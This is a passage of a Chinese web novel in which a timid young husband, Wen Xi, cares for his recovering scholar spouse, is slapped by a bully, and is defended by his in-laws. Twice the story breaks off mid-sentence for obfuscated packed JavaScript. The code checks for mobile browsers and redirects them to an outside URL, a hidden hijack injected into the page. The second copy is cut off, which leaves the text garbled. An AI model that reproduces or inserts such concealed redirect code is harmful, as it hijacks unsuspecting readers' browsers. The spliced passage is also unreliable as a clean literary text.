陈兰芳的目光从他身上挪开移到严逢安身上,眼里带上几分为人母亲的心疼和慈爱:“逢安每日都按城里大夫开的方子服药,清醒的时间越来越多,只要你用心照顾,他很快就能好起来。到那时你夫妻二人甜甜蜜蜜,岂不得气死外头那些贱人。” 甜甜蜜蜜,他和严逢安吗? 闻溪忍不住想了一下那个画面,身上无端起了层鸡皮。 如果严逢安此刻清醒,听到这话大概跟他是同一种心情。正常情况下,他们二人是绝对绝对不会像其他夫妻一般甜蜜的。 这些情绪闻溪不敢在陈兰芳面前表露,跟着附和几句,直到陈兰芳离开,情绪紧绷的他才长长地吐出一口气。 这时房间里忽地又响起一道叹息,意识到是身旁男人发出来的,闻溪浑身汗毛耸立,跟见鬼似的跌跌撞撞从床上滚了下去。 之前房里有其他人在,严逢安也跟死人似的没什么存在感,以至于闻溪都没反应过来两人是躺在一张床上的。 这声叹息差点吓破了他的胆,摔在地上好半天都没能爬起来。 床上悉悉嗦嗦的声音越来越大,不一会儿身着白色中衣的严逢安缓缓从床上坐起,一双眼窝深陷的眸子向下低垂,静静看着地上神色仓皇的闻溪。 隔着不到一丈的距离,两人互相凝视着,好似过了几个轮回之后,严逢安才开了口:“怎的每次见你,你都这么惨?” 过了一夜安神药的药效已经没有,这会儿严逢安醒过来也就不稀奇了。能说出这样的话,证明此刻的他神志至少是清醒的。 这人还当自己是高高在上的秀才,也不知照照镜子,他那清瘦干瘪的模样难道看起来就不惨吗? 这些话闻溪只敢在心中腹诽,现在的他要在严家人手上讨生活,不管严逢安是痴是傻,是好是坏,他都得默默忍受着。 闻溪揉着自己摔疼的腰肢,慢慢从地上站起,转身去外头叫人。 4. 小溪嘴巴不说话 灶房里,草药炉子烧得正旺,药罐子咕噜咕噜的冒着热气,浓郁的草药味四处散开飘到院子里。 家里两个病人何锦一个人忙不过来,这会儿李婉也在帮着煎药。 闻溪进了厨房,先乖乖喊了人:“大嫂,锦哥哥。” 李婉手里拿着蒲扇轻轻地扇着火,听到闻溪的声音,她皱眉道:“娘不是说了让你好好休息吗,怎么这会儿功夫你就起来了?” 闻溪局促道:“我没事。严秀才醒了……你们要不要过去瞧瞧。” 何锦看了眼外面的日头说:“算算时间,差不多是该醒了。大嫂已经把他的药煎好了,等会儿就给他送进去。” 这会儿炉子上煎的是闻溪的药,李婉端起严逢安的药罐,把药汁倒进了粗瓷碗里凉着。 两副草药的味道融在一起,灶房里的苦味仿佛更重了。 闻溪小声开口:“我给他送去吧。” 李婉看了一眼他毫无血色的脸颊:“你自己都是个病人,还想着照顾他呢?” “他的身体重要,我不碍事的。” 这话让何锦心头泛起嘀咕,本以为大房的人就已经够谦让了,没想到这家里竟然还会来一个更能奉献的人。 想起闻柳的德性,再看看眼前这老实巴交的孩子,何锦不禁感叹一句:“能娶到你可真是三弟的福气。” 就是不知他们家这个秀才弟弟会不会领情了。 闻溪一个倒霉催的人,能有什么福气,要不是想讨严家人欢心,好好在这家里待下去,他哪会忍着心头的难受和畏惧上赶着伺候严逢安。 家里花这么多银钱给老三娶个夫郎回来,本就是为了方便照顾他。喂药不是什么费劲的体力活,闻溪又这样主动,李婉就没跟他争。 “那你去吧,小心别烫着手。” 闻溪点点头,等汤药没那么烫了他才将药碗捧起,端着药走到厢房门口,就听见陈兰芳的声音在里头响起。 “我的儿,今日你可感觉好了些?” 严逢安靠在床头,黑目沉沉望着她,声音很轻,又带着几分涩:“好多了,谢谢娘的关心。” 简单的回答,却让陈兰芳心头震了震。 这话陈兰芳不是头一次问,却是严逢安头一回这么心平气和的回答她。 久被病气侵袭的人,往往会生出一些恶劣的脾性,外头传言她们家逢安发疯打人虽有夸大的成分,但也算不上造谣。 她这儿子脾气本就有些古怪,自打摔伤醒来后,更是阴晴不定,暴躁如狂。整日不是大喊大叫,就是以额撞墙,或是胡乱打砸屋里的东西。 这家里凡是进来给他送药送吃的人,都在他手上吃过亏。她跟严世昌老两口实在没办法,除了活血祛瘀的汤药外,又让大夫多开了一副安神的。 早晚一次,喝了后严逢安就开始昏昏欲睡,偶尔意识清醒,也只能浑身软绵无力的躺在床上,再做不得那些危险的事情。 不过这也让他心生了许多埋怨,爹妈哥嫂好心看望他时,总会受到他的冷言冷语。 这会儿听到严逢安恭谨的回答,陈兰芳心中如何不动容。 “老天保佑,老天保佑,我就说我儿一定会好起来的。” 早知冲喜这法子这般有用,家里该早早替他张罗。 儿子病情明显好转,陈兰芳连带着对闻溪都顺眼了些,伸手将在门口徘徊的他招进来。 闻溪手里的药汤还冒着热气,陈兰芳顺手接过放到一旁的凳子上说:“小溪是个好孩子,自己都生着病呢,还不忘照顾你。” 这家里闻溪最怕的除了公公婆婆就是严逢安了,疯的时候怕他打人,醒的时候又怕他骂人。闻溪被他羞辱过太多回,心里的阴影不可谓不重。 察觉到婆婆说完这话后严逢安的目光就落在了自己身上,闻溪战战兢兢的低着头不敢跟他对视,内心祈祷严逢安不要当着婆婆的面说出什么让他难堪的话来。 严逢安道:“既是母亲相中的人,自然不会有错。” 闻溪心头微微愣了一下,这话从严逢安嘴里说出来就跟太阳打西边出来了一样,这人不是最瞧不上他吗?怎么还会附和婆婆的话。 难道是在说反话? 严逢安语气很轻,闻溪听不出他的情绪,不由得抬起头观察他的神色,哪知一抬眼就被严逢安捉了个正着。 两道目光撞在一块,闻溪吓得心脏都要跳出来,着急忙慌的又赶紧低下了头。 严逢安的话也让陈兰芳感到意外,若不是他神色恭敬诚恳,陈兰芳还以为他在阴阳怪气埋怨自己看中的夫郎换了人。 毕竟把闻柳换成闻溪是他们当大人的做的决定,那时自家孩子意识不清,几乎是被动接受了这个事。 陈兰芳怕他身体恢复后又重蹈覆辙,语重心长道:“自你受伤后闻柳从未主动过来看你一次,这般薄情寡义实非良人。你既已经娶了小溪,从此要时刻谨记他是你的夫郎,那些个不三不四的人可千万不能再想了,知不知道?” 严逢安看着头都要埋到地上的闻溪,颔了颔首:“我省的。” 他言行恭顺,陈兰芳也没什么旁的话好说:“你好不容易清醒一回,让小溪再陪你说说话吧,娘就不打扰你们了。” 转头又对闻溪道 :“等逢安的药喝完,你的药差不多也煎好了,喝了药你俩就好好休息,争取都早日康复。” 叮嘱完,她就离开了房间。 有其他人在,闻溪还能尽量把自己藏起来,降低存在感。这会儿屋里就剩他跟严逢安了,不管他的呼吸有多浅,头埋得有多低,依然逃不出严逢安的视线。 这个人明明说过看见他就倒胃口,这会儿却不知为什么一个劲地盯着他瞧。 闻溪心中又害怕又别扭,坐在凳子上端起药时,手指都有些发抖。 严逢安将他的反应都看在眼里,目光敛了敛说:“你今年应该满十六了吧?怎么看起来还是这么小个人儿?” 闻溪不懂他说的小是什么意思,想起之前严逢安嘲笑他的话,估摸着这人是说他身板瘦弱的意思。 他在闻家从小吃不饱饭不说,每日都有干不完的活,身体能长起来才怪。 严逢安吃食比普通农家人精细,全家什么好的都先紧着他,就算现在人很清瘦,他的身材仍旧是高大的。跟他相比,闻溪看起来自然是瘦瘦小小的一个。 这人明知道怎么回事,还偏偏问出来让他难堪,可真讨厌。 闻溪当做没听到他的话,埋着头用勺子搅了搅汤药,张着小口吹了两下送到严逢安嘴边。 犹豫片刻,严逢安慢慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536429|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张开了嘴。汤药入喉,他刚舒展的眉宇又轻蹙起来:“好苦。” 草药哪有不苦的,闻溪不理他,低垂着眉眼重复着刚才的动作,一勺一勺往严逢安嘴里送。 还剩下一半时,严逢安有气无力地挡住闻溪的手:“不喝了。” 他喝不喝的倒不打紧,可严家人看见了会怎么想呢? 连伺候严逢安喝药的小事他都做不好,公公婆婆知道了心里能舒坦吗? 闻溪不知道严逢安是真的不想喝,还是故意与他为难,着急道:“不喝药你的病如何能好?” 严逢安这才挑了挑眉道:“原来你不是个小哑巴。” 根据之前的经验,逆来顺受不搭理这人是最好的,若是顶嘴还不知会从他口里钻出多少难听的话来。 闻溪想瞪他又不敢,只小声恳求:“把药喝了吧。” 严逢安叹了口气:“我是真的怕苦,不是故意与你为难。” 这是在跟自己解释吗? 闻溪心头正奇怪,严逢安又叹了一声:“罢了。”他从闻溪手里接过药碗,一手捏着鼻子,仰头把剩下的汤药喝了个干净。 他这身体实在太虚了,药又苦,喝完便剧烈的呛咳几声,吓得闻溪都不来不及再想旁的,忙伸手拍着他的胸口给他顺气。 一番折腾,等缓过来时严逢安苍白的脸颊都变红了几分。 他脸上露出一抹自嘲,说话时还有几分喘:“没想到……我这身体竟会变得这般不中用。” 闻溪忍不住在心中嘀咕:你本就是个不干活的文弱书生,又生了病,身体能好才怪。 他不习惯和严逢安你来我往的交流,也不想跟他待在一块,绞尽脑汁憋出一句:“我……我出去给你弄点吃的。” 严逢安的粥一直在炉子上煨着,闻溪很快就端着吃食回来。 从昨夜到现在都没有进食,严逢安腹中确实感到饥饿,可连日的汤药早就坏了他的胃口,寡淡的白粥喝得他更是难受。 吃了一半,他便对着闻溪摆了摆手:“端出去吧,我不吃了。” 除了喝药,别的闻溪都不会多嘴,严逢安说不吃,他便把剩下的粥端回了灶房。 两个嫂嫂似乎都习惯了他的胃口,对于剩了半碗粥的事谁也没有过问。 闻溪身上还有伤,照顾完严逢安后,陈兰芳便不让他做事了,吃完午饭喝了药,就赶他回房休息。 大白天不干活躺在床上休息,是闻溪想都不敢想的事情,但婆婆的语气并非是在跟他开玩笑,闻溪只能听话的回了房。 他没有午睡的习惯,也不敢上严逢安的床,最后只搬了条凳子靠在严逢安的书桌上歇了歇。 白日倒是可以随便糊弄糊弄,到了晚上闻溪才是真正犯了难。 天气渐渐转凉,昨日他靠着墙打了地铺起来就开始发热,今晚若是继续这样,明日病情怕是会越来越重。 看大夫喝药都是要钱的,自己长时间病恹恹的,难保会让严家人不喜。 可让他跟严逢安睡一床,又着实为难人。 一是心中别扭,二是害怕他半夜发疯,虽说白日严逢安的意识看起来已经完全清醒,但谁能保证他的病情不会反复。 严家的人大约也是这样想的,临睡前陈兰芳又端来一碗安神药。 5. 同床小溪难安心 严逢安盯着那碗黑乎乎的药汁看了半天,忍着难受一口一口喝了干净。 看着闻溪和陈兰芳都明显松了一口气的神情,严逢安心里头也说不上是个什么滋味。 等陈兰芳离开后,他往里头挪了挪身体,神色疲倦地闭着眼轻轻拍了拍身旁的位置。 “上来睡吧。” 这是他意识消散前说的最后一句话。 陷入昏睡后,严逢安什么都不能说不能做,没了威胁,闻溪心里的害怕也就少了几分。 打地铺虽能避免跟严逢安睡在一块,但后续也会给自己带来很多麻烦,纠结片刻,他还是带着自己的被褥,小心翼翼上了床。 严逢安的床很大很软,被子是昨天才换的,还没被草药味浸染。 闻溪从来没睡过这么舒服的床,躺在上头手脚都不知该怎么放。 在家的时候,天气热他就睡柴房,冷的时候则是用凳子和木板拼成一张简易的小床在闻柳房里凑合。 闻柳说他身上臭烘烘的有一股怪味,从来不准他挨着自己的床。 闻溪心头很委屈,每天睡觉前他都会把自己洗得干干净净,没有热水也会用冷水擦洗脸脚,身上怎么可能会有怪味?想到这,他又抬起手嗅了嗅,确认没有异味后才彻底放下心来。他放缓自己的呼吸声,贴着床边睡着,慢慢闭上了眼。 或许是床太舒服,也可能是旁边多了一个人,闻溪闭上眼后好半天都没能睡着。 回忆着这一天发生的事情,他感到有些不可思议。 这是他嫁到严家的第二天,没挨打,没受气,得了红封,受到了关心。跟闻家的日子比起来,简直是一个天一个地。 这种生活实在太好了,就算是跟自己不喜欢的人同床共枕,闻溪仍感到满足。 他没什么大的愿望,只在心里默默祈求,希望庙里的观音保佑他能在严家多待上一段时间。 许是吃了药又休息好的缘故,第二天闻溪的头就不怎么晕了。 家里人人都有活干,只他一人闲着总让他心头难安,吃了早饭,他就主动接了煎药的活。 李婉问他:“煎药的炉子你会用吗,要不要我教你?” 总算能发挥一点自己的作用,闻溪连忙摇头:“我会,不用教。” 以前家里有人生病都是他在照顾,煎药的事他很有经验。这活不累人,就是费心思,时刻都得注意炉子里的火。 闻溪记得有一回李巧珍生病他忙着劈柴,一时忘了煎药的事,等反应过来时药已经煎糊了。李巧珍非说他是故意的,生着病都将他揍了一顿,从那时起闻溪煎药的时候都特别小心。 李婉笑着说:“那以后三弟就得辛苦你照顾了。” 虽是句客套话,但也让闻溪心里觉得暖暖的。 严家这些人心里怎么想的暂且不提,至少他们都发自内心的把他当成一个人来瞧。 在这里闻溪不是干活的老黄牛,也不是任人随意打骂的牲口,光是这点就足够让他感激。 大夫开的药一副可以吃三天,今日热一热就行。等药凉了些,闻溪牛饮似的咕咚咕咚一口把自己那碗喝了干净。 他还没有什么反应呢,李婉的脸先皱到一块儿,啧了啧道:“你都不觉得苦吗?” 药当然是苦的,只是这点苦对闻溪来说实在不算什么,要知道他在闻家的时候若不是真的活不了,家里是不会花钱给他看病的。对他来说生病了能喝药也是件幸福奢侈的事,这会儿又怎么会嫌苦呢。他顺手把药碗冲洗干净,回了李婉一句:“还行。” 李婉又道:“这点你倒是和三弟很像,他喝药也不怕苦。” 那昨天怕苦不喝药的人是谁? 闻溪心生奇怪,又觉得李婉没必要在这上面撒谎,难不成这是严逢安故意诳他的? 心头带着这个疑问,后续喂药的时候,闻溪还特意留意了严逢安的反应。 “小哑巴,你为什么一直盯着我瞧?” 闻溪以为自己偷偷摸摸的打量没被发现,被严逢安这样直咧咧的指出来,倒叫他有些无地自容。 等等,严逢安刚才叫他什么? 闻溪眼睛慢慢瞪圆,他不敢跟严逢安大声争执,心头又实在气不过,只能怯怯地顶回去:“我不是哑巴。” “你一句话都不跟我说,不是哑巴又是什么?” 以往说他丑说嫌他不识字还不够,现在又说他是小哑巴,怎么会有这么讨厌的人。 闻溪心里又憋屈又难过,小声为自己辩解:“我明明跟你说了两句话。” 严逢安道:“两句不行,以后你每天至少得跟我说二十句。” 这不是故意为难人吗?闻溪仔细回忆,这些年他跟严逢安拢共都没说到二十句话。 像是不解,又像是抱怨,闻溪嘀咕道:“我们之间有什么好聊的?” 他讨厌他,他也讨厌他。 严逢安今日状态比昨日又好一些,他扯了扯嘴角,说:“聊什么都行。我以前对你不是很糟吗,你要是乐意,骂我两句也行。” 闻溪觉得这人真是摔坏了脑子,哪有人故意找骂的。 他垂着头道:“我不会骂人。” 眼前的人身形轻薄如柳,说话声音总是小小的没有底气,两只圆圆的杏眼若是不小心和人对上,就像那林中受惊的小鹿,怯生生的带着惶恐。 严逢安摇头:“这般柔弱,难怪总是被人欺负。” 这话说得好生没有道理。 也许是心里一直憋着一股气,也可能是生病的严逢安处于低位,没有那么高傲可憎,闻溪大着胆子回了一句:“就因为我柔弱胆小,所以就活该被你们欺负吗?” “当然不是。”严逢安斟酌着,看着闻溪脸上因为委屈而掉下来的眼泪,沉默片刻道:“以前的事是我不对,抱歉。” 闻溪本来是不想哭的,可情绪来得太快,眼泪都由不得他做主。 身旁也没个手帕,严逢安只得用手替他拭去眼底的泪水,感受到冰凉的手指从自己脸颊划过,闻溪愣了愣,又腾地一下站起慌慌张张端着药碗出了厢房。 何锦见他像是受了惊吓,关心道:“一惊一乍的,怎么了?” 闻溪摇了摇头,什么都没说。 在灶房待了好一会儿,他的心跳才渐渐缓了下来。 他实在想不通,这个曾经光是看他一眼都嫌弃得不行的男人,刚才主动和他道歉不说,怎么还会用手替他擦眼泪? 难道是因为严逢安现在行动不便,需要他的照顾,所以故意向他示好? 闻溪猜不透严逢安心中所想,只觉得这人一会儿一个样,果真是摔坏了脑子的表现。 之后的几天,严逢安仍是用这样的态度对他,比起之前恶意的侮辱,此时的他更像是躺着无聊把闻溪当个小孩逗弄。 大多数时候,闻溪还是不怎么跟他说话,偶尔急了才会顶他两句。 两人的相处虽还是别别扭扭,但面对他时闻溪心头总算没有那么畏惧防备了。 闻溪每日按时服药,身上的伤痛在汤药的治疗中慢慢痊愈,活动时心口再也不似之前那样喘不过气。 皮外伤容易治愈,亏空的底子却不是那么容易补起来的。 恰逢城里保宁堂的大夫下乡为严逢安复诊,陈兰芳顺便请他给闻溪瞧了瞧。 在得知闻溪只是因为常年饿肚子导致发育不全,身体虚弱,多弄点吃的给他补起来就不会影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻溪不知其中关窍,以为严逢安发现了什么有趣的事,坐在一旁悄悄学着他的样子小心张开了自己的手。 阳光从他的指缝间穿过,落在地上形成了几个铜钱大小的光斑,双手握拳后,那几个光斑便消失不见,再张开,光斑又出现了。 不是什么大不了的东西,闻溪却觉得好玩,怎么他以前没发现阳光还能变成铜钱呢? 身旁传来一声轻笑,幼稚的行为被旁人瞧了个一清二楚,闻溪的脸唰一下就红了。 他慌忙将手藏到背后,局促着想说些什么,话到嘴边却发不出什么声来,最后只能低着头目不转睛地盯着自己的脚尖。 嫁到严家十来天,闻溪没干过什么重活,脚上的鞋子却十分不争气的破了个洞,稍不注意,大脚趾就会从洞里探出头来。 一想到严逢安的视线还在自己身上,本就尴尬的闻溪心头更是难堪,不管是找个地缝钻进去也好,还是找个树洞藏起来也罢,此刻他只想离严逢安远远的。 平日里傻乎乎的脑子这时候倒是转得快,闻溪站起身,急切地走到陈兰芳跟前,磕磕绊绊道:“娘,我想去……去河边捞点鱼虾回来,给严……严秀才换换口味。” “什么严秀才,那是你相公,都是两口子了,以后可不能叫得那么生分。”闻溪身上的伤已经好得差不多了,陈兰芳也不拘着他,不过这还是他嫁到严家后第一回出门,陈兰芳不太放心:“让铁柱和桃儿跟着去吧。” 两个孩子最喜欢去河边玩,一听这话也不再找蚂蚁洞,争争抢抢的去拿鱼篓:“捉鱼去咯!” 闻溪忽略掉她前一句话,细声细气道:“我会照顾好他们的。” 6. 小溪出门遭欺负 等他带着两个孩子走远了,陈兰芳起身坐到严逢安跟前道:“你这夫郎虽然看着有点老实傻气,但人还挺不错的,自嫁进来后事事都以你为先,从未生出什么私心来,等你痊愈了,可千万不要辜负人家。” 儿子的病越来越好,陈兰芳心头自是开心的,但她害怕严逢安还是跟以前一样拎不清,这才不得不敲打几句。 严逢安道:“既然已经娶了他,我会好好负责的。” 得了他的保证,陈兰芳满意地舒了口气,又听严逢安道:“我看溪哥儿衣物陈旧单薄,恳请母亲再给他置办几身行头,待朝廷发了廪膳,我再还给您。” “都是一家人,什么还不还的。”陈兰芳往李婉跟何锦那边看了一眼:“鞋子你大嫂二嫂正在做,至于衣裳,我手里也没有多余的布了,改明我带他去镇上转转。” 严逢安点了点头,客气道:“那便麻烦母亲了。” 陈兰芳欲言又止,看他神色有些疏离,终是没再说什么。 —— 闻溪领着两个小孩往河边去,路上遇到了不少村邻。他跟严逢安成亲的事早在村里传开了,看到他难免会有人窃窃私语,还有那好事的人假借关心之名向他打探严家的事。 闻溪不善言辞,乖乖喊了人后也不多说什么,只垂着头拉着两个孩子往河边走。 河岸边摸鱼玩耍的小孩和大人都有很多,铁柱跟桃儿遇到了村里的玩伴,自顾自地玩耍起来。 闻溪怕两个孩子出事,捉鱼的时候不敢离他们太远,眼睛随时都放在他们身上,见两个孩子懂事的远离了危险的地方,他才放下心来。 鱼虾乃是滋补之物,闻柳嘴馋的时候没少赶他去河边捉鱼,次数多了,闻溪倒也琢磨出一些抓鱼的方法来。 像鲫鱼鲤鱼这类滑溜溜的,如果先抓身体和尾巴,很容易就会被它们逃脱,找准机会抓住它们的脑袋,成功率就会高一些。 河里还有种身上长硬刺的鱼,别的地方怎么称呼它闻溪不知道,反正他们村的人给这鱼起名“黄鸭叫”。 比起别的鱼,黄鸭叫的攻击性更高一些,闻溪捉它的时候被它身上的刺伤过好几回,那种又痒又痛的感觉让他至今都心有余悸,就算看见都不敢再抓了。 仲秋时节,河水温度适宜并不刺骨,正是鱼多蟹肥的时候。 闻溪神色专注,动作麻利,很快鱼篓里便多出了一些小鱼小虾还有小泥鳅,除了这些他还幸运的抓住了一条大约两三斤重的鲫鱼。 在闻家时,闻溪也曾抓到过鲫鱼,为此李巧珍还特意去买了块豆腐回来做鲫鱼豆腐汤。 闻溪虽然一口吃的都没捞着,可鱼汤鲜美的味道却一直萦绕在他心中,让他念念不忘。 嫁到严家后,严家人从来没有在吃食方面苛待过他,也不知道这回他能不能有这个口福。 今日收获颇丰,闻溪捧着鱼篓,嘴角因高兴泛起淡淡的涟漪。 正在这时,远处玩耍的桃儿突然抹着泪过来:“小溪叔叔,铁柱哥哥跟人打架了,你快去看看。” 听到这话闻溪还没来得及露出的笑容瞬间收了回去,面色发白道:“怎么回事?” 同一屋檐下生活了十多天,闻溪对严家人的性格脾性都有了些解。铁柱和桃儿都是乖巧懂事的孩子,从来不会主动欺负别人,铁柱跟人打架肯定有什么隐情。 在桃儿颠三倒四的描述中,闻溪终于弄清了事情的原委。 铁柱跟其他小孩玩躲猫猫时捡到一只受伤的兔子,小孩子藏不住事,当即就把这只小兔子拿出去给一起玩耍的小伙伴看。谁知离他较近的另外一个小孩不乐意,非说兔子是他先瞧见的,哭着嚷着让铁柱把兔子还给他,铁柱不愿,两个孩子就打了起来。 桃儿抹着眼泪委屈道:“金宝撒谎,兔子明明是哥哥先瞧见的。” 闻溪摸了摸她的脑袋,安慰道:“桃儿不哭,叔叔跟你一起过去瞧瞧。” 闻溪本想着都是一群小孩,他一个大人应该能够应付,谁知到了那里,赵金宝的叔叔赵守田也在。 这人是个混不吝,闻溪挺怕他的。只是铁柱需要人撑腰,连他这个大人都怯了,孩子心里不定多难受呢。 闻溪握了握拳,忍着惧意深呼了口气,冲着铁柱招了招手说:“铁柱,把兔子带上咱们回家。” 说话的声虽有些颤,但好歹身体没有抖,闻溪一直在心里告诫自己不要怕,只要回了家就没事了。 “嗯。”铁柱抹了把脸,抱着兔子就想走。 被忽视的赵守田很不痛快,开口喝道:“站住!我允许你们走了吗?我告诉你,人可以走兔子得留下,这可是我侄儿先看见的。” “胡说,明明是我先看见的。”铁柱年纪小却不怕事,一点儿没被赵守田唬住。 被这么个小孩落了面子,赵守田很不得劲,抬起手吓唬道:“找抽是吧,赶紧把兔子交出来,不然小心老子揍你啊。” 铁柱往闻溪背后躲了躲,闻溪自己都害怕极了,却还是护着他道:“小孩子什么都不懂,有什么话你去我公公婆婆面前说。” 赵守田鄙视的眼神在他身上扫了扫,冷哼道:“这才嫁过去几天就叫得这般黏糊了。你一个不要脸抢哥哥亲事的玩意儿,还有脸出来招摇过市,我要是你,早就找根绳子吊死了。” 闻溪眼睛瞪大了些,他什么时候抢哥哥的亲事了,不是闻柳自己不愿嫁的吗? 看着他这副柔弱无辜的模样,赵守田心里火气更重,怒道:“动不动就装委屈,你以为我会吃你这套?你个不守夫道的哥儿,是不是嫌自家男人不行,专门跑出来勾引我。” 满嘴污言秽语听得闻溪想吐,有心想回两句嘴又怕这人真会动手打他,干脆闭口不言,拉着两个孩子的手往家里走。 这副样子落到赵守田眼里更是可恨,闻柳瞧不上他就罢了,这闻溪是个什么东西,竟然也敢瞧不上他。赵守田以大欺小,夺过铁柱手里的兔子说:“要滚便滚,这兔子你们休想拿走。” “还我,还我,你还我!” 铁柱伸手去抢,赵守田一手高高举起兔子,得意道:“有本事你来拿啊。” 铁柱拿不到,气性上头逮着赵守田另一只手狠狠咬了一口。 闻溪一看便知道要遭,他了解赵守田,知道 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回家路上,闻溪怕邻居背后议论,一直用衣袖掩盖着自己红肿的脸颊。 他不敢声张,两个小的却是毫无顾忌,一路哇哇大哭着,还没进院门便张嘴大喊道:“奶奶,奶奶,有人欺负我们!” 陈兰芳还不知事情的严重性,笑着跟两个媳妇说:“肯定又是跟二毛他们闹别扭了。” 等三人进了院子,看到闻溪躲躲闪闪的遮住脸颊,她才发现好像不是那么回事。 李婉最先反应过来,跑过去拉着自家儿子上下左右瞧了一眼,何锦紧随其后,将桃儿护在怀中,两人齐声问道:“怎么了,谁欺负你们了?” 铁柱指着闻溪说:“赵金宝抢了我的兔子,他叔还打了小溪叔叔一巴掌。” 都不用闻溪开口,他就跟倒豆子似的把事情说了一遍。 条理虽然不如大人清晰,在场的人却听明白是怎么回事了。 闻溪脸上的巴掌印看起来触怒惊心,光是想想就知道有多疼。 “这个狗东西。”陈兰芳气急,若是赵守田这时候在她跟前,她非得用剪子在他身上戳出好几个洞来。 李婉本就心软,加上这巴掌又是为铁柱受的,她眼睛一酸愤恨道:“这赵守田一坨闻着都嫌臭的狗屎,还敢来欺负我们家的人,娘,咱们可不能轻易饶了他。” “就是,不然他还以为咱们家没人呢。”何锦性子烈,心里不知已经扇了赵守田几百个耳刮子。 陈兰芳牙齿咬得咯嘣响,瞪大的双眼跟要喷火似的:“赵守田这个臭狗瘪三,惹谁不好,还敢惹到咱们家头上来,老娘等会儿一定要让他瞧瞧厉害。” 在闻溪眼里婆婆一直是个体面人,这会儿见到陈兰芳露出这副要吃人的面孔,他心里很畏惧,就怕陈兰芳不分青红皂白骂他去外面惹是生非,把气撒在他身上。 察觉到闻溪身子正在发抖,陈兰芳拍了拍他的手臂压着火安慰道:“咱们严家的人还从来没叫别人这么欺负过,你先去擦点药,等你爹跟两个哥哥回来,咱们就去赵家要个说法。” 7. 柔弱小溪不服软 在乡下邻里间发生矛盾是件稀松平常的事儿,闻石山和李巧珍那种斤斤计较爱占便宜的人,跟别家发生摩擦的次数更是数不胜数。 每回李巧珍带着一家老小跟别人吵架都是闻溪最害怕的时候,一旦他们没在旁人手上讨到好,闻溪就成了他们宣泄怒气的出气筒。 事情要是由闻溪引起,那便更不得了,他们不仅不会替闻溪出头,还会骂他是个惹人嫌的下贱胚,不然那些人怎么不去欺负别人,就光来欺负他,还不是他自己作的。 所以被赵守田打了之后,闻溪从来没想过让严家的人为帮他出头。 他只想完完整整把两个孩子带回来,严家不迁怒他都谢天谢地了。 可婆婆却说要带他去赵家要个说法,公公和两个哥哥干活回来后也是同仇敌忾,连肩上扛的锄头都没放下就要去给他出头。 闻溪被打之后生出的那些委屈本是无处安放的,现在却被严家人轻轻捧在了手里,他眼睛发酸,张张嘴又不知该说些什么。 下午风大,严逢安怕受凉便回屋躺着歇息,闭目养神时听到外头传来了阵阵愤恨的声音,起床后就看见一家人都在院子里,情绪激动的围着他的夫郎。 何锦跟李婉一见到他,便觉得这回又闹不起来了。 别家的人不管私下有多少小心思,跟外人闹起来都知道上下一条心,他们家这小叔子却怪得很,每回家里跟别人发生了矛盾,也不管谁对谁错,他都会给自家人摆脸色,动不动就叮嘱他们不要出去惹是生非,拖他的后腿。 他是考上秀才的读书人,以后还要当大官的,为着他的前途,家里当然都要事事以他为先。 平时那些小事说忍便忍了,今天他自己的夫郎都被人打了,难不成小叔子还要叫他们忍? 严逢安不知他们心中所想,注意力全放在了闻溪脸上。 他不懂闻溪在家都还好好的,怎么出去一趟脸就弄成了这样,拧了拧眉轻声问道:“脸怎么了?” 闻溪怕他嫌自己给家里添麻烦,下意识抬手遮掩:“没……没什么。” “什么没什么,老三你夫郎被赵守田那王八蛋打了,咱们现在要去给他报仇,你可不准拦着。” 大哥严望春也知他的脾性,说话时语气都不禁着急了些。 严逢安道:“本该如此,我为何要拦?” 他抬起手臂有心想触碰闻溪受伤的脸颊,看着闻溪瑟缩的样子便只轻轻拍了拍这个小可怜的肩膀:“别害怕,严家不会让你受委屈的。” 严家众人的反应让闻溪明白这并不是一句空话,他讷讷地点点头说:“嗯……我知道。” 这回一家人的心都齐了,严富秋拳头捏得嘎嘎作响:“三弟你在家好好休养,咱哥俩保准给你夫郎讨个说法回来。” 严逢安的身体虽好了很多,这样的场面却不适合他去,留下两个孩子陪着他后,陈兰芳便带着一家人往赵家那边去。 一群人浩浩荡荡的,惹来了不少村邻的注意。有热闹瞧,村里的人活也不干了,饭也不做了,不远不近的跟在他们身后,指指点点小声议论。 “怎么回事?严家的这是要上哪去?” “不知道啊,那不是他们家老三的夫郎吗,脸怎么肿成那样了?” “这都看不出来,明显被人打了啊,恐怕老严家的不喜欢这个夫郎,要把他赶回闻家去。” “这也不是去闻家的方向啊……” 公公婆婆是去给他讨公道,根本不是要把他赶回闻家。闻溪在心里默默反驳,又不敢出声打这些碎嘴子的脸。 从小他在人前就是各种狼狈丢脸,一成为人群中的焦点他就惶恐忸怩,临到目的地,才敢把头抬了起来。 儿子跟弟夫郎在外头被人欺负,严望春心里的火旺得都快把他整个人烧着了,到了地方他也懒得客气,一脚就踹开了赵家的院门。 “姓赵的,你们家的人要是没死的话就赶紧跟老子滚出来。” 双手叉腰的严富秋也顺势将摆放在院里的物件踢了个遍,鸡窝里的芦花鸡都被他吓得咯咯乱窜。 本想率先站出来的赵家大嫂被他俩这怒火滔天的模样吓得往后缩了缩,毕竟是个妇人,平日在家怎么强势,对着两个五大三粗的男人她还是怕的。伸手推了推自家男人,示意他出去瞧一眼。 赵长顺当惯了缩头乌龟,这会儿也站着没动:“爹娘都没出去呢,有我什么事。” 赵大河听到这话差点一头栽过去。这人比人可真是要气死人,看看严世昌生的两个儿子,再看他生的两个儿子,真是没法说。 